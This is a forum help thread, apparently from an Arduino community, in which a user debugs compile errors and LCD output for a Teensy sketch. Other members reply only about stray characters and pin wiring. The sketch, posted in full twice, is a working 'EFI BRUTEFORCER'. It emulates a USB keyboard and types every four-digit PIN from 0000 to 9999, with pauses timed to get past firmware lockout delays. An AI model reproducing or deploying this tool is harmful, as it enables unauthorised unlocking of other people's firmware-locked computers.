Teensy LCD

I had a code here in 2015 that allows to display the elements entered by Teensy on an LCD screen. I recently got a screen but I have a compilation problem. Can you help me please?

l'erreur :

Arduino : 1.8.8 (Mac OS X), TD: 1.45, Carte : "Teensy 3.2 / 3.1, Keyboard + Mouse + Joystick, 96 MHz (overclock), Faster, US English"

sketch_feb27e:6: error: stray '\302' in program
const int ledPin = 13;
^
sketch_feb27e:6: error: stray '\240' in program
sketch_feb27e:8: error: stray '\302' in program
const int digit1_start = 0;
^
sketch_feb27e:8: error: stray '\240' in program
sketch_feb27e:10: error: stray '\302' in program
const int digit2_start = 0;
^
sketch_feb27e:10: error: stray '\240' in program
sketch_feb27e:12: error: stray '\302' in program
const int digit3_start = 0;
^
sketch_feb27e:12: error: stray '\240' in program
sketch_feb27e:16: error: stray '\302' in program
const int digit1_stop = 9;
^
sketch_feb27e:16: error: stray '\240' in program
sketch_feb27e:18: error: stray '\302' in program
const int digit2_stop = 9;
^
sketch_feb27e:18: error: stray '\240' in program
sketch_feb27e:20: error: stray '\302' in program
const int digit3_stop = 9;
^
sketch_feb27e:20: error: stray '\240' in program
sketch_feb27e:22: error: stray '\302' in program
const int digit4_stop = 9;
^
sketch_feb27e:22: error: stray '\240' in program
sketch_feb27e:38: error: stray '\302' in program
delay(6000); }
^
sketch_feb27e:38: error: stray '\240' in program
sketch_feb27e:40: error: stray '\302' in program
void loop() {
^
sketch_feb27e:40: error: stray '\240' in program
sketch_feb27e:42: error: stray '\302' in program
if ( finishedPINcracking == 0 ) {
^
sketch_feb27e:42: error: stray '\240' in program
sketch_feb27e:46: error: stray '\302' in program
delay(2000);
^
sketch_feb27e:46: error: stray '\240' in program
sketch_feb27e:50: error: stray '\302' in program
delay(2000);
^
sketch_feb27e:50: error: stray '\240' in program
sketch_feb27e:56: error: stray '\302' in program
for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ ) {
^
sketch_feb27e:56: error: stray '\240' in program
sketch_feb27e:60: error: stray '\302' in program
{ Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
^
sketch_feb27e:60: error: stray '\240' in program
sketch_feb27e:60: error: stray '\302' in program
sketch_feb27e:60: error: stray '\240' in program
sketch_feb27e:62: error: stray '\302' in program
for ( int timer = 1; timer <= 6; timer++ ) { digitalWrite(ledPin, HIGH); }
^
sketch_feb27e:62: error: stray '\240' in program
sketch_feb27e:66: error: stray '\302' in program
digitalWrite(ledPin, LOW); }
^
sketch_feb27e:66: error: stray '\240' in program
sketch_feb27e:68: error: stray '\302' in program
else{ Keyboard.print(String(digit1));
^
sketch_feb27e:68: error: stray '\240' in program
sketch_feb27e:72: error: stray '\302' in program
Keyboard.print(String(digit2));
^
sketch_feb27e:72: error: stray '\240' in program
sketch_feb27e:80: error: stray '\302' in program
Keyboard.print(String(digit4));
^
sketch_feb27e:80: error: stray '\240' in program
sketch_feb27e:97: error: stray '\302' in program
delay(740);
^
sketch_feb27e:97: error: stray '\240' in program
Plusieurs bibliothèque trouvées pour "LiquidCrystal.h"
Utilisé : /Applications/Arduino.app/Contents/Java/hardware/teensy/avr/libraries/LiquidCrystal
Non utilisé : /Applications/Arduino.app/Contents/Java/libraries/LiquidCrystal
stray '\302' in program

le code

#include <LiquidCrystal.h>


int finishedPINcracking = 0;//

const int ledPin = 13; 

const int digit1_start = 0; 

const int digit2_start = 0; 

const int digit3_start = 0; 

const int digit4_start = 0;

const int digit1_stop = 9; 

const int digit2_stop = 9; 

const int digit3_stop = 9; 

const int digit4_stop = 9; 

LiquidCrystal lcd(23, 22, 16, 15, 14, 13);

void setup() {

lcd.begin(16, 2);

lcd.print("EFI BRUTEFORCER");
delay(500);
lcd.print("ATTACKING EFI");
delay(500);
lcd.print("CODE ATTEMPT");

pinMode(ledPin, OUTPUT);

delay(6000); } 

void loop() { 

if ( finishedPINcracking == 0 ) { 

for( int digit1 = digit1_start; digit1 <= digit1_stop; digit1++ ) {

delay(2000); 

for( int digit2 = digit2_start; digit2 <= digit2_stop; digit2++ ) {

delay(2000); 

for( int digit3 = digit3_start; digit3 <= digit3_stop; digit3++ ) {

delay(2000);

for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ ) { 

if ( (digit4 == 4) || (digit4 == 9) )

{  Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4)); 

for ( int timer = 1; timer <= 6; timer++ ) { digitalWrite(ledPin, HIGH);  }

delay(500);

digitalWrite(ledPin, LOW); } 

else{ Keyboard.print(String(digit1)); 

delay(620);

Keyboard.print(String(digit2)); 

delay(860);

Keyboard.print(String(digit3));

delay(590);

Keyboard.print(String(digit4)); 
lcd.setCursor(0, 1);

lcd.print(String(digit1));

lcd.setCursor(1, 1);

lcd.print(String(digit2));

lcd.setCursor(2, 1);

lcd.print(String(digit3));

lcd.setCursor(3, 1);

lcd.print(String(digit4));

delay(740); 

delay(6500);

Keyboard.println(); } } } } } finishedPINcracking = 1; }}

[Code/]

Click on "select" on your code box above.
Copy all the code, and paste it into a fresh IDE window.
Remove the trailing "[Code/]".
Hit "verify".

Report back.

Thank you very much for your answer. it allowed me to correct the errors, there was also space to erase at the end of the lines.
however, the screen still does not display the input. the screen manufacturer used the inputs: LiquidCrystal lcd(23, 22, 16, 15, 14, 13) and provided a test code that works well. that's what i'm trying to edit in this code by putting: LiquidCrystal lcd(23, 22, 16, 15, 14, 13) instead of LiquidCrystal lcd(12, 11, 5, 4, 3, 2) of the initial code. can you please help me revise the code so that the lcd works? thank you.

Does the LCD display anything at all? I'd expect it to at least show "EFI BRUTEFORCER".

Please post the working test code so that we can compare it to your non-working code.

Please always do an Auto Format (Tools > Auto Format in the Arduino IDE or Ctrl + B in the Arduino Web Editor) on your code before posting it. This will make it easier for you to spot bugs and make it easier for us to read. The code you posted is almost impossible to read. I also recommend against double spacing code. It only makes for more scrolling. It's perplexing that you've done that, but also mashed some of the code that would normally be written in multiple lines onto a single line.

name unfortunately it does not show "EFI BRUTEFORCER".

here is the code that works

// include the library code:

#include <LiquidCrystal.h>

// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(23, 22, 16, 15, 14, 13);
 
void setup() {
// set up the LCD's number of columns and rows: 
lcd.begin(16, 2);
lcd.setCursor (0, 0);
lcd.print("hello, world!");
}
void loop() {
  // set the cursor to column 0, line 1
  // (note: line 1 is the second row, since counting begins with 0):
lcd.setCursor(0, 1);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}

and here is the code that teensy is performing correctly but the poster is not working on the lcd

#include <LiquidCrystal.h>


int finishedPINcracking = 0;//

const int ledPin = 13; 

const int digit1_start = 0; 

const int digit2_start = 0; 

const int digit3_start = 0; 

const int digit4_start = 0;

const int digit1_stop = 9; 

const int digit2_stop = 9; 

const int digit3_stop = 9; 

const int digit4_stop = 9; 

LiquidCrystal lcd(23, 22, 16, 15, 14, 13);

void setup() {

lcd.begin(16, 2);

lcd.print("EFI BRUTEFORCER");
delay(500);
lcd.print("ATTACKING EFI");
delay(500);
lcd.print("CODE ATTEMPT");

pinMode(ledPin, OUTPUT);

delay(6000); } 

void loop() { 

if ( finishedPINcracking == 0 ) { 

for( int digit1 = digit1_start; digit1 <= digit1_stop; digit1++ ) {

delay(2000); 

for( int digit2 = digit2_start; digit2 <= digit2_stop; digit2++ ) {

delay(2000); 

for( int digit3 = digit3_start; digit3 <= digit3_stop; digit3++ ) {

delay(2000);

for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ ) { 

if ( (digit4 == 4) || (digit4 == 9) )

{
Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
for ( int timer = 1; timer <= 6; timer++ ) { digitalWrite(ledPin, HIGH);  }

delay(500);

digitalWrite(ledPin, LOW); } 

else{ Keyboard.print(String(digit1)); 

delay(620);

Keyboard.print(String(digit2)); 

delay(860);

Keyboard.print(String(digit3));

delay(590);

Keyboard.print(String(digit4)); 
lcd.setCursor(0, 1);

lcd.print(String(digit1));

lcd.setCursor(1, 1);

lcd.print(String(digit2));

lcd.setCursor(2, 1);

lcd.print(String(digit3));

lcd.setCursor(3, 1);

lcd.print(String(digit4));

delay(740); 

delay(6500);

Keyboard.println(); } } } } } finishedPINcracking = 1; }}